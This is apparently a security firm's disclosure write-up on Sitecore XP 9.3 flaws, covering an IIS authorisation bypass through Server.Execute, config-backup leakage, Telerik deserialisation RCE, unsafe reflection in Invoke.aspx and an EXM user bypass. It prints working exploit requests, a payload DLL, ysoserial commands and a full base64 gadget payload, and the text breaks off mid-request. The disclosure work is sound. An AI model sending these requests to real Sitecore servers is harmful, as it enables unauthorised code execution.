Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-33653: Bypass IIS Authorisation with this One Weird Trick - Three RCEs and Two Auth Bypasses in Sitecore 9.3

Sitecore Experience Platform (XP) v9.3 was discovered to contain an authenticated remote code execution (RCE) vulnerability via the component /Applications/Content%20Manager/Execute.aspx?cmd=convert&mode=HTML.

CVE
#csrf#vulnerability#web#windows#microsoft#nodejs#js#git#java#rce#vmware#auth#zero_day#asp.net

Introduction

It’s time to look at Sitecore again! In 2021 our security research team took a look at Sitecore and found some nice vulnerabilities.

Some time has passed, Sitecore is still very prevalent and we decided we would have another look. In this round we looked at version 9.3. This isn’t the latest version, but it is slightly more popular and still within Sitecore’s support period.

For the uninitiated, Sitecore is an enterprise CMS written in .NET and it provides a range of tools including content management, digital marketing and reporting.

Although all the low-hanging fruit were perhaps gone at this point, we still found multiple issues and a technique for IIS authorisation bypass which we haven’t seen in the wild too often if at all. In this blog post we detail our process for finding and exploiting these vulnerabilities.

CVEs have been claimed and are pending for these issues. We will update this blog post as they become available.

As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.

Lastly, the advisory from Sitecore for these issues can be found here: Security Bulletin SC2023-001-568150 .

Let’s get started!

Reconnaissance

A big part of security research, particularly on large enterprise products, is figuring out what functionality exists and how to access it. To start our actual analysis, the first step was to enumerate all .asp, .aspx, .ashx, .asmx files. We took this list and just tried to access each one without authentication. Some we could, others we couldn’t. Unfortunately, of the paths we could access, none of them yielded any interesting vulnerabilities.

Not dettered, we then looked in the Web.config file in search of more potential endpoints. This gave us a collection of “path mappings” to enumerate. A snippet Web.config is included below.

<handlers>
  <add verb="*" path="sitecore_media.ashx" type="Sitecore.Resources.Media.MediaRequestHandler, Sitecore.Kernel" name="Sitecore.MediaRequestHandler" />
  <add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
  <add verb="*" path="sitecore_icon.ashx" type="Sitecore.Resources.IconRequestHandler, Sitecore.Kernel" name="Sitecore.IconRequestHandler" />
  <add verb="*" path="sitecore_temp.ashx" type="Sitecore.Resources.TempRequestHandler, Sitecore.Kernel" name="Sitecore.TempRequestHandler" />
  <add verb="*" path="sitecore_feed.ashx" type="Sitecore.Shell.Feeds.FeedRequestHandler, Sitecore.Kernel" name="Sitecore.FeedRequestHandler" />
  <add verb="*" path="sitecore_handlers.ashx" type="Sitecore.Web.CustomHandlerFactory, Sitecore.Kernel" name="Sitecore.GenericHandler" />
  <add verb="*" path="sitecore_device_simulation.ashx" type="Sitecore.Shell.DeviceSimulation.SimulationRequestHandler, Sitecore.Kernel" name="Sitecore.SimulationRequestHandler" />
  ...
</handlers> 

To figure out how to access these we looked in some more .config files and found the following mappings in App_Config/Sitecore.config.

<customHandlers>
  <handler trigger="-/media/" handler="sitecore_media.ashx" />
  <handler trigger="~/media/" handler="sitecore_media.ashx" />
  <handler trigger="~/api/" handler="sitecore_api.ashx" />
  <handler trigger="-/api/" handler="sitecore_api.ashx" />
  <handler trigger="-/xaml/" handler="sitecore_xaml.ashx" />
  <handler trigger="~/xaml/" handler="sitecore_xaml.ashx" />
  <handler trigger="-/icon/" handler="sitecore_icon.ashx" />
  <handler trigger="~/icon/" handler="sitecore_icon.ashx" />
  <handler trigger="-/temp/" handler="sitecore_temp.ashx" />
  <handler trigger="~/temp/" handler="sitecore_temp.ashx" />
  <handler trigger="~/feed/" handler="sitecore_feed.ashx" />
  <handler trigger="-/feed/" handler="sitecore_feed.ashx" />
</customHandlers>

To go through each of these, we first decompiled all the .dll files in the webroot with dnSpy. We could then look at each of the handles in the decompiled source code.

So for example Sitecore.Resources.Media.MediaRequestHandler, Sitecore.Kernel means look at Sitecore.Resources.Media.MediaRequestHandler in Sitecore.Kernel.dll.

One of these handlers, XamlPageRequestHandler, opened up the attack surface considerably by giving us access to instantiate over a hundred XAML controls. Unfortunately, this was also a dead end.

The best we could get from this approach was an information leak, https://xp0.sc/~/xaml/ExperienceExplorer.SelectUser would reply with a list of all users on the system. A useful vulnerability, but not really what we were looking for.

Following this (small) success we decided to turn our attention towards the API endpoints offered by Sitecore. We could see them in the decompiled source code by searching for Controller, but didn’t really know how to access them. Controller mapping in Sitecore is a little different to the standard .NET approach for controller mapping.

After some digging around the decompiled source from Sitecore.MVC.dll and the related configuration files we found this in App_Config/Sitecore/Mvc/Sitecore.Mvc.config.

<setting name="Mvc.LegalRoutes" value="|Sitecore.Mvc.Web:api/sitecore/{controller}/{action}|Sitecore.Mvc:sitecore/shell/api/sitecore/{controller}/{action}|" />

It looked like api/sitecore/{controller}/{action} provided a fairly familiar route mapping for controllers. After yet more digging we came across Sitecore.Mvc.Controllers.SitecoreControllerFactory which included the method CreateController.

We suspected (and hoped) that this was part of the API pipeline. To verify, using dnSpy we attached a debugger to the w3p.exe process and set a breakpoint on CreateController in SitecoreControllerFactory.

We then sent through a request to https://xp0.sc/api/sitecore/DummyController/DummyAction to see if it hit our breakpoint. Which it did.

This gave us a preliminary entrypoint to the API pipeline and we could start investigating how controllers were resolved. In doing so we hoped to uncover the list of controllers we could actually call. We continued looking at SiteControllerFactory and found that it was surpisingly lax about what it was allowed to instantiate. As long as the controller name LooksLikeTypeName and it implemented IController we could instantiate it. This can be seen in the snippet below.

protected virtual IController CreateControllerInstance(RequestContext requestContext, string controllerName)
{
    if (controllerName.EqualsText(this.SitecoreControllerName))
    {
        return this.CreateSitecoreController(requestContext, controllerName);
    }
    Type controllerType = this.GetControllerType(requestContext, controllerName);
    if (!(controllerType != null))
    {
        return this.InnerFactory.CreateController(requestContext, controllerName);
    }
    return this.ResolveController(controllerType);
}

protected virtual Type GetControllerType(RequestContext requestContext, string controllerName)
{
    Type result = null;
    if (TypeHelper.LooksLikeTypeName(controllerName))
    {
        result = TypeHelper.GetType(controllerName);
    }
    return result;
}

protected virtual IController ResolveController(Type type)
{
    return (this.DependencyResolver().GetService(type) as IController) ?? TypeHelper.CreateObject<IController>(type, Array.Empty<object>());
}

LooksLikeTypeName and TypeHelper.GetType check that the controller name looks like a .NET type and GetType would helpfully load any .dll we specified as part of that type name. Ordinarily arbitrary .dll loading would be a lot more exciting, but in this case we were restricted to just the webroot and bin directories.

Using dnSpy we proceeded to enumerate all classes which implemented IController and came across Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController. This class had an action Preview which caught our attention. The Preview action took a single parameter previewPath and returned an ExecuteHandlerAction.

public ActionResult Preview(string previewPath)
{
    Assert.IsNotNullOrEmpty(previewPath, string.Format(CultureInfo.InvariantCulture, this.InvalidStringParameterMessage, "previewPath"));
    return new ExecuteHandlerAction(previewPath);
}

Further investigation into the ExecuteHandlerAction revealed that it makes a call to Server.Execute with the path that was specified earlier. This lead us to the first authorisation bypass.

public override void ExecuteResult(ControllerContext context)
{
    Assert.ArgumentNotNull(context, "context");
    context.HttpContext.Server.Execute(this.Path);
    context.HttpContext.Response.End();
}

Server.Execute and Server.Transfer are two lesser-known methods which enable the caller to redirect execution to a different file.

They provide similar functionality to a redirect, except instead of sending a 3xx response and the client making a new request, the process is handled entirely within the first request. They can be seen as an analogue of RequestDispatcher.forward and RequestDispatcher.include in Java.

We have seen the Java version of these methods exploited recently in VMware Workspace ONE via CVE-2022-31656. However, not much has been written about their .NET counterparts.

The call to Server.Execute we found in ExecuteHandlerAction contained no controls its parameters and enabled us to redirect execution to any file within the webroot. Since Server.Execute does not rerun the entire HTTP pipeline we were able to bypass almost all IIS-level controls.

However, there were still some incidental limitations which prevent us from accessing every file in the webroot. For example, we could not request anything that did not have a MIME type mapping defined. Unfortunately, this included the Web.config file.

So what could we access? A common file we used to check is the Sitecore license file. The license file is found at /App_Data/license.xml and we could request it with a call to https://xp0.sc/api/sitecore/Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController,Sitecore.Mvc.DeviceSimulator.dll/Preview?previewPath=/App_Data/license.xml. An example response is shown below.

HTTP/2 200 OK
Date: Mon, 07 Nov 2022 02:12:33 GMT
Content-Type: text/html
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET

<?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/xsl" href="http://www.sitecore.net/licenseviewer/license.xsl"?><signedlicense id="20190629084269">... omitted ...</signedlicense>

A more interesting collection of files to target were the configuration backups in /App_Data/diagnostics/configuration_history.

Sitecore periodically creates a backup of all the .config files and saves them as a zip archive with a (somewhat) predictable name such as 20230303Z.034441Z.zip.

Since the resolution of the timestamp is only to the second, we only needed to try 86,400 combinations per day of potential backup files. This was very doable and only takes a few hours.

With the Web.config file in hand, we went searching for a technique to escalate this to code execution. The version of Sitecore we were testing still used Telerik UI 2018.3.910.45 which was vulnerable to a deserialisation attack (CVE-2019-18935).

Ordinarily this is not exploitable because it requires knowledge of the Telerik encryption keys. However, after leaking the Web.config we could now use this technique to get remote code execution.

Starting with the exploit here we compiled the following mixed-mode assembly payload which gets the username of the current user and writes it to a file.

#include <windows.h>

#pragma comment(lib, "Advapi32.lib")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH) {
        char username[1024];
        DWORD usernameLength = 1024;
        GetUserName(username, &usernameLength);

        DWORD actualLength = strlen(username);

        HANDLE fileHandle = CreateFile(
            "C:\\inetpub\\wwwroot\\XP0.sc\\upload\\pwn.txt",
            GENERIC_WRITE,
            0,
            0,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            0
        );
        DWORD written = 0;
        WriteFile(fileHandle, username, actualLength, &written, 0);
        CloseHandle(fileHandle);
    }
    return TRUE;
}

We then edited CVE-2019-18935/RAU_crypto/RAU_crypto.py and set T_Upload_ConfigurationHashKey and T_AsyncUpload_ConfigurationEncryptionKey to the value found in the Web.Config. Finally we ran the exploit as follows.

$ python3 CVE-2019-18935.py -u 'https://xp0.sc/Telerik.Web.UI.WebResource.axd?type=rau' -v '2018.3.910.45' -n '4.8.4494.0' -t -p x-2022121206355822-amd64.dll
[*] Local payload name:  x-2022121206355822-amd64.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1671363412.757567.dll

{'fileInfo': {'ContentLength': 93184,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1671363412.757567.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=2018.3.910.45, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=121fae78165ba3d4',
              'TempFileName': '1671363412.757567.dll.tmp'}}

[*] Heads up! Payload was renamed on target from "1671363412.757567.dll" to "1671363412.757567.dll.tmp". Will adjust automatically while deserializing; otherwise, if deserializing manually with the "-d" option, use the "-r" option to specify the accurate, renamed payload on target.

$ python3 CVE-2019-18935.py -d -u 'https://xp0.sc/Telerik.Web.UI.WebResource.axd?type=rau' -r 1671363412.757567.dll.tmp

Checking on the web server we had created pwn.txt and can see the output of the command we ran.

Unsafe Reflection

While searching for remote code execution we came across /sitecore/shell/Invoke.aspx. On this page we found a suspicous looking call to ReflectionUtil.CallMethod. The page handler for Invoke.aspx is shown below.

protected override void OnLoad(EventArgs e)
{
    base.OnLoad(e);
    string @string = StringUtil.GetString(base.Request.Form["__OBJECT"]);
    if (@string.Length <= 0)
    {
        return;
    }
    int num = @string.IndexOf(",", StringComparison.InvariantCulture);
    if (num < 0)
    {
        return;
    }
    string assembly = StringUtil.Mid(@string, num + 1);
    string text = StringUtil.Left(@string, num);
    num = text.LastIndexOf(".", StringComparison.InvariantCulture);
    if (num < 0)
    {
        return;
    }
    string text2 = StringUtil.Mid(text, num + 1);
    text = StringUtil.Left(text, num);
    object obj = ReflectionUtil.CreateObject(assembly, text, new object[0]);
    if (obj == null)
    {
        return;
    }
    string[] array = new string[0];
    num = text2.IndexOf("(", StringComparison.InvariantCulture);
    if (num >= 0)
    {
        string text3 = StringUtil.Mid(text2, num + 1, text2.Length - num - 2);
        text2 = StringUtil.Left(text2, num);
        array = text3.Split(new char[]
        {
            ','
        });
        for (int i = 0; i < array.Length; i++)
        {
            array[i] = StringUtil.Unquote(array[i].Trim());
        }
    }
    object obj2 = obj;
    string methodName = text2;
    bool includeNonPublic = true;
    bool includeInherited = true;
    object[] parameters = array;
    ReflectionUtil.CallMethod(obj2, methodName, includeNonPublic, includeInherited, parameters);
}

Further investigation revealed that this page lets an authenticated user instantiate an arbitrary class and then execute any method on the instance. However, it was restricted to only instance methods (nothing declared as static was allowed) and the methods could only take string parameters.

Rather than try and audit all instance methods which take strings, we instead searched for code execution sinks and then worked backwards from there to see if any of them were reachable via an instance method. One such sink was a call to BinaryFormatter.Deserialize we found was in PivotGridFilterPersistenceHelper.DeserializeObject, a class in Telerik.UI.

public static object DeserializeObject(string objectToDeserialize)
{
    byte[] buffer = Convert.FromBase64String(objectToDeserialize);
    new BinaryFormatter();
    object result;
    using (MemoryStream memoryStream = new MemoryStream(buffer))
    {
        result = new BinaryFormatter().Deserialize(memoryStream);
    }
    return result;
}

Tracing this backwards we saw that the DeserializeObject method is called in PivotGridFilterPersistenceHelper.DeserializePivotFilter.

...
if (a == "PivotGridReportFilter")
{
    pivotGridFilter = new PivotGridReportFilter();
    PivotGridReportFilter pivotGridReportFilter = pivotGridFilter as PivotGridReportFilter;
    pivotGridReportFilter.FieldName = array[1];
    pivotGridReportFilter.Condition = (IFilterCondition)PivotGridFilterPersistenceHelper.DeserializeObject(array[2]);
}
...

One step further up the chain and we found the call in the setter for the FiltersPersistence property on Telerik.Web.UI.RadPivotGrid.

set
{
    string[] array = value.Split(new char[]
    {
        ','
    }, StringSplitOptions.RemoveEmptyEntries);
    this.Filters.Clear();
    foreach (string serializedFilter in array)
    {
        PivotGridFilter pivotGridFilter = PivotGridFilterPersistenceHelper.DeserializePivotFilter(serializedFilter);
        if (pivotGridFilter != null)
        {
            this.Filters.Add(pivotGridFilter);
        }
    }
    this.shouldAddNewSettings = true;
}

Although it may not look like it, a property setter is an instance method like any other. As such, we could call it from our /sitecore/shell/Invoke.aspx page. First we prepared our deserialisation payload using ysoserial.

ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "whoami > \inetpub\wwwroot\XP0.sc\upload\pwn.txt"
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA/AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZjbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw==

We could then assemble and send our payload. Telerik.Web.UI.RadPivotGrid is the object we will instantiate, set_FiltersPersistence is the method we are going to call and “PivotGridReportFilter;x;AAEAAAD/////…” is the parameter set_FiltersPersistence will be called with. The string is split on ; characters by PivotGridFilterPersistenceHelper.DeserializePivotFilter.

  • The first value, PivotGridReportFilter, is to get into the correct if block in PivotGridFilterPersistenceHelper.DeserializePivotFilter.
  • The second value, x, is unused.
  • The final value is our payload which will be passed to DeserializeObject.

This gives us the following final HTTP request.

POST /sitecore/shell/Invoke.aspx HTTP/2
Host: xp0.sc
Cookie: __CSRFCOOKIE=481fbe0b-15c1-49a0-8d43-c95747b8461b; sitecore_userticket=<omitted>; .AspNet.Cookies=<omitted>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 2055

__OBJECT=Telerik.Web.UI.RadPivotGrid.set_FiltersPersistence("PivotGridReportFilter;x;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA/AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZjbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw=="),Telerik.Web.UI.dll&__CSRFTOKEN=AAEAAAD/////AQAAAAAAAAAGAQAAACQ0ODFmYmUwYi0xNWMxLTQ5YTAtOGQ0My1jOTU3NDdiODQ2MWIL

Authorisation Bypass Two: EXM Boogaloo

Unfortunately, because of additional controls we were unable to use the Invoke.aspx page vulnerability to gain unauthenticated RCE by combining it with the Server.Execute vulnerability.

We looked at what access controls were applied to /sitecore/shell/Invoke.aspx and found the following was required to access the page.

The IIS configuration in web.config denies access to anonymous users. However, this could be bypassed via the call to Server.Execute vulnerability.

<location path="sitecore/shell">
    <system.web>
      <authorization>
        <deny users="?" />
        <allow users="*" />
      </authorization>
    </system.web>
</location>

In Sitecore.Shell.Web.UI.SecurePage a call to ShellPage.IsLoggedIn is made that will issue a redirect if there is no valid ticket. However, control flow is not modified and the page will still execute after this, the response will just be discarded. The code from ShellPage.IsLoggedIn is shown below.

if (!user.Identity.IsAuthenticated || !TicketManager.IsCurrentTicketValid() || AuthenticationManager.IsAuthenticationTicketExpired())
{
    if (user.RuntimeSettings.IsVirtual || ShellPage.Relogin())
    {
        user = Context.User;
    }
    else
    {
        Security.Logout();
        ShellPage.GotoLoginPage(httpContext, returnAfterLogin);
    }
}

In Sitecore.Web.UI.Sheer.ClientPage, this.Context.User.Identity.IsAuthenticated is checked. This will throw an exception in WebUtil.RedirectToLoginPage if the value is false.

protected override void OnInit(EventArgs e)
{
    try
    {
        if (!this.Context.User.Identity.IsAuthenticated)
        {
            WebUtil.RedirectToLoginPage();
        }
        HighResTimer highResTimer = new HighResTimer(true);
        base.OnInit(e);
        this._pageKey = this.GetPageKey();
        this._commands = new ArrayList(5);
        this._clientRequest = new ClientRequest(base.Request.Form);
        this.CreateControls();
        this._initialized = true;
        this._sheerTimer += highResTimer.Elapsed();
    }
    catch (Exception exception)
    {
        if (!this.OnError(exception))
        {
            throw;
        }
    }
}

With all this in mind we decided to audit all locations where HttpContext.User is set, since it didn’t matter who it was set to, just as long as it was set to some user. We found such a case in the maling list (EXM) component of Sitecore.

Sitecore could be configured with a Renderer User to enable a user who is subscribed to a mailing list to access information without having to login when they view the email. When viewing items this way the user provides some query parameters such as ec_message_id and ec_id which tell Sitecore the details of the email item they are viewing.

However, if an attacker provided valid values for these two parameters then Sitecore.Modules.EmailCampaign.Core.Pipelines.HttpRequestBegin.LoadEmailRenderSessionUser would set the user of the HttpContext to the configured Renderer User as seen below.

public void Process(HttpRequestArgs args)
{
    Assert.ArgumentNotNull(args, "args");
    if (!GlobalSettings.Enabled)
    {
        return;
    }
    if (!ExmContext.IsRenderRequest || ExmContext.Message == null)
    {
        return;
    }
    if (string.IsNullOrWhiteSpace(ExmContext.Message.ManagerRoot.Settings.RendererUser))
    {
        return;
    }
    args.HttpContext.User = User.FromName(ExmContext.Message.ManagerRoot.Settings.RendererUser, true);
}

Provided we have obtained valid ec_message_id and ec_id parameters, perhaps by subscribing to the mailing list and waiting for an email that has them. We could put all this together to achieve unauthenticated remote code execution with the following request.

POST /api/sitecore/Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController,Sitecore.Mvc.DeviceSimulator.dll/Preview?ec_message_id=3811A44A-41B8-4E3D-8213-CC3B9AD4E468&ec_id=470A274A9BAF4D6FA398DE06A188F540&previewPath=/sitecore/shell/Invoke.aspx HTTP/2
Host: xp0.sc
Content-Type: application/x-www-form-urlencoded
Content-Length: 2055

__OBJECT=Telerik.Web.UI.RadPivotGrid.set_FiltersPersistence("PivotGridReportFilter;x;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA/AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZjbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw=="),Telerik.